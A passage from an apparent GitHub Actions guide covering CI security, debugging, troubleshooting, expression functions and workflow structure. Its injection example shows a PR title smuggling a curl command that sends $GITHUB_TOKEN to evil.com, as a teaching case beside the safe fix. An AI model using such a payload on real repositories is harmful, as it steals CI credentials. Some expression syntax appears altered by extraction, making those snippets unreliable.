2 - uses: aws-actions/configure-aws-credentials@v4
3   with:
4     aws-access-key-id: ${ secrets.AWS_KEY }
5     aws-secret-access-key: ${ secrets.AWS_SECRET }
6
7 # AFTER (secure -- OIDC, no stored credentials):
8 - uses: aws-actions/configure-aws-credentials@v4
9   with:
10    role-to-assume: arn:aws:iam::123456789:role/github-actions
11    aws-region: us-east-1
```

13.3 Prevent Script Injection

Listing 13.3: Injection prevention

```
1 # VULNERABLE -- user input directly in shell command:
2 - run: echo "Title: ${ github.event.pull_request.title }"
3 # If PR title is: hello"; curl
4   evil.com/steal?token=$GITHUB_TOKEN; echo "
5 # You have just leaked your token!
6
7 # SAFE -- pass through environment variable:
8 - name: Check PR title
9   env:
10    PR_TITLE: ${ github.event.pull_request.title }
11    run: echo "Title: $PR_TITLE"
```

EVERY `${ }` expression containing user-controlled data is a potential injection vector. This includes PR titles, branch names, commit messages, issue bodies, and labels. Always use intermediate environment variables.

13.4 Security Checklist

Pin all actions to SHA , prevents supply chain attacks via compromised action tags.

Enable Dependabot for actions : auto-PRs when action versions have security patches.

Use OIDC : eliminate all stored cloud credentials wherever possible.

Set explicit permissions : never rely on default `GITHUB_TOKEN` permissions.

Use environments with required reviewers : human gate before production.

Never use `pull_request_target` + `checkout` : exposes secrets to fork PRs.

Audit third-party actions : read the source before trusting any action with your secrets.

Add CODEOWNERS for `.github/` : require senior review for workflow changes.

14 1

14.1 Enable Debug Logging

Listing 14.1: Debug logging options

```
1 # Option 1: Repository secret (enables for ALL runs)
2 # Settings > Secrets > Actions > New secret
3 # Name: ACTIONS_RUNNER_DEBUG Value: true
4 # Name: ACTIONS_STEP_DEBUG Value: true
5
6 # Option 2: Re-run with debug logging
7 # In the Actions UI > click failed run > "Re-run jobs" >
8   "Enable debug logging"
9
10 # Option 3: Debug output in your steps
11 - run: |
12     echo "::debug::Variable X = $MY_VAR"
13     echo "::notice title=Info::Deployment started for v1.2.3"
14     echo "::warning file=deploy.sh,line=42::Deprecated API call"
15     echo "::error file=app.js,line=99::Missing required config"
```

14.2 Workflow Commands Reference

Command	What It Does	<i>When to Use</i>
<code>::debug::msg</code>	Debug log (only visible with debug on)	<i>Detailed diagnostic info</i>
<code>::notice::msg</code>	Info annotation	<i>Non-critical info in PR</i>
<code>::warning::msg</code>	Warning annotation	<i>Potential issues</i>
<code>::error::msg</code>	Error annotation	<i>Build/test failures</i>
<code>::group::title</code>	Collapsible log section	<i>Organize verbose output</i>
<code>::add-mask::val</code>	Redact a value from all future logs	<i>Dynamic secrets</i>

14.3 Common Problems & Solutions

Problem	Cause	Solution
Workflow not triggered	Branch/path filter mismatch	Check <code>on</code> : filters match your branch and files
Job hangs forever	No timeout set	Add <code>timeout-minutes: 15</code> to every job
Secrets empty in fork PR	Security restriction	Secrets are not passed to forks, use <code>pull_request</code>
Cache miss every time	Key changes every run	Use <code>hashFiles()</code> on lockfiles, not source code
Permission denied	Token scope too narrow	Add required permission in <code>permissions:</code> block
Output not passed	Wrong syntax	Use <code>GITHUB_OUTPUT</code> file, not <code>set-output</code> (deprecated)
Rate limited	Too many API calls	Use <code>GITHUB_TOKEN</code> (5000 req/hr) instead of PAT
Matrix explosion	Combinatorial explosion	Use <code>exclude</code> , <code>max-parallel</code> , or dynamic matrices

Feature	GitHub Actions	Ac-	GitLab CI	Jenkins	CircleCI
Config	YAML in repo		YAML in repo	Groovy DSL/UI	YAML in repo
Hosting	Cloud + self-hosted		Cloud + self-hosted	Self-hosted only	Cloud + self-hosted
Free Tier	2,000 min/mo		400 min/mo	Free (OSS)	6,000 min/mo
Marketplace	20,000+ actions		CI templates	1,800+ plugins	Orbs registry
Setup Time	< 5 minutes		< 10 minutes	Hours to days	< 10 minutes
Matrix Builds	Native		Parallel keyword	Via plugins	Native
Secrets	Built-in OIDC	+	Built-in	Credentials plugin	Contexts
Docker	First-class		First-class	Plugin-based	First-class
Learning Curve	Low		Low-Medium	High	Low-Medium
Best For	GitHub-native teams		GitLab teams	Complex enterprise	Speed-focused

GitHub Actions is the strongest choice when your code lives on GitHub, you want minimal infrastructure, and you value tight integration with PRs, Issues, Packages, and the GitHub ecosystem.

16 1

16.1 Expression Functions

Function	Description	Example
<code>contains()</code>	Check if string/array contains value	<code>contains(github.event.labels.*.name, 'deploy')</code>
<code>startsWith()</code>	String starts with prefix	<code>startsWith(github.ref, 'refs/tags/')</code>
<code>endsWith()</code>	String ends with suffix	<code>endsWith(github.repository, '-api')</code>
<code>format()</code>	String formatting	<code>format('Hello {0}!', github.actor)</code>
<code>join()</code>	Join array to string	<code>join(github.event.labels.*.name, ', ')</code>
<code>toJson()</code>	JSON serialization	<code>toJson(steps.my.outputs)</code>
<code>fromJson()</code>	JSON parsing	<code>fromJson(needs.job.outputs.matrix)</code>
<code>hashFiles()</code>	SHA-256 of files	<code>hashFiles('**/package-lock.json')</code>
<code>success()</code>	Previous steps passed	<code>if: success()</code>
<code>failure()</code>	Any previous step failed	<code>if: failure()</code>
<code>always()</code>	Always run	<code>if: always()</code>
<code>cancelled()</code>	Workflow was cancelled	<code>if: cancelled()</code>

16.2 GITHUB_OUTPUT: Passing Data Between Steps

Listing 16.1: Passing outputs between steps

```
1 # Write output from a step:
2 - id: my_step
```



```
3   run: echo "version=1.2.3" >> $GITHUB_OUTPUT
4
5   # Read it in a later step:
6   - run: echo "Version is ${ steps.my_step.outputs.version }"
7
8   # Multi-line output:
9   - id: changelog
10     run: |
11       {
12         echo "content<<EOF"
13         git log --oneline -5
14         echo "EOF"
15       } >> $GITHUB_OUTPUT
```

16.3 Job Dependency Patterns

Listing 16.2: Job dependency graph

```
1 jobs:
2   a: ...
3   b: ...
4   c:
5     needs: [a, b]      # Wait for BOTH a and b
6   d:
7     needs: c           # Wait for c (which waits for a+b)
8     if: always()       # Run even if c failed
9
10  # Full pipeline shape:
11  # a ---\
12  #       ---> c ---> d
13  # b ---/
```

16.4 Recommended Repository Structure

Listing 16.3: Recommended .github/ layout

```
1 .github/
2   workflows/
3     ci.yml           # PR quality checks
4     cd.yml           # Deploy on merge to main
5     release.yml      # Create releases from tags
6     deploy.yml       # Reusable deploy (workflow_call)
7     security.yml     # Nightly security scans
8     cleanup.yml      # Cron: prune old artifacts/images
9   actions/
```

```
10   setup-env/action.yml    # Custom: project-wide env setup
11   notify/action.yml        # Custom: Slack/Teams notifications
12   CODEOWNERS               # Protect workflow changes
13   dependabot.yml           # Auto-update action versions
```

16.5 Key Takeaways : Your GitHub Actions Playbook

1. **Start simple.** Get a basic CI workflow running, then iterate and expand.
2. **Secure everything.** Pin actions to SHA, use OIDC, restrict token permissions, add CODEOWNERS.
3. **Use reusable workflows.** Do not copy-paste, DRY principle applies to pipelines too.
4. **Cache aggressively.** Every cached dependency saves time and money.
5. **Use environments + protection rules.** Required reviewers are your production safety net.
6. **Think in phases:** Lint → Test → Build → Stage → E2E → Production.
7. **Monitor and optimize.** Track workflow duration, reduce unnecessary runs with path filters.

Your pipeline IS your infrastructure. Treat it with the same care as production code.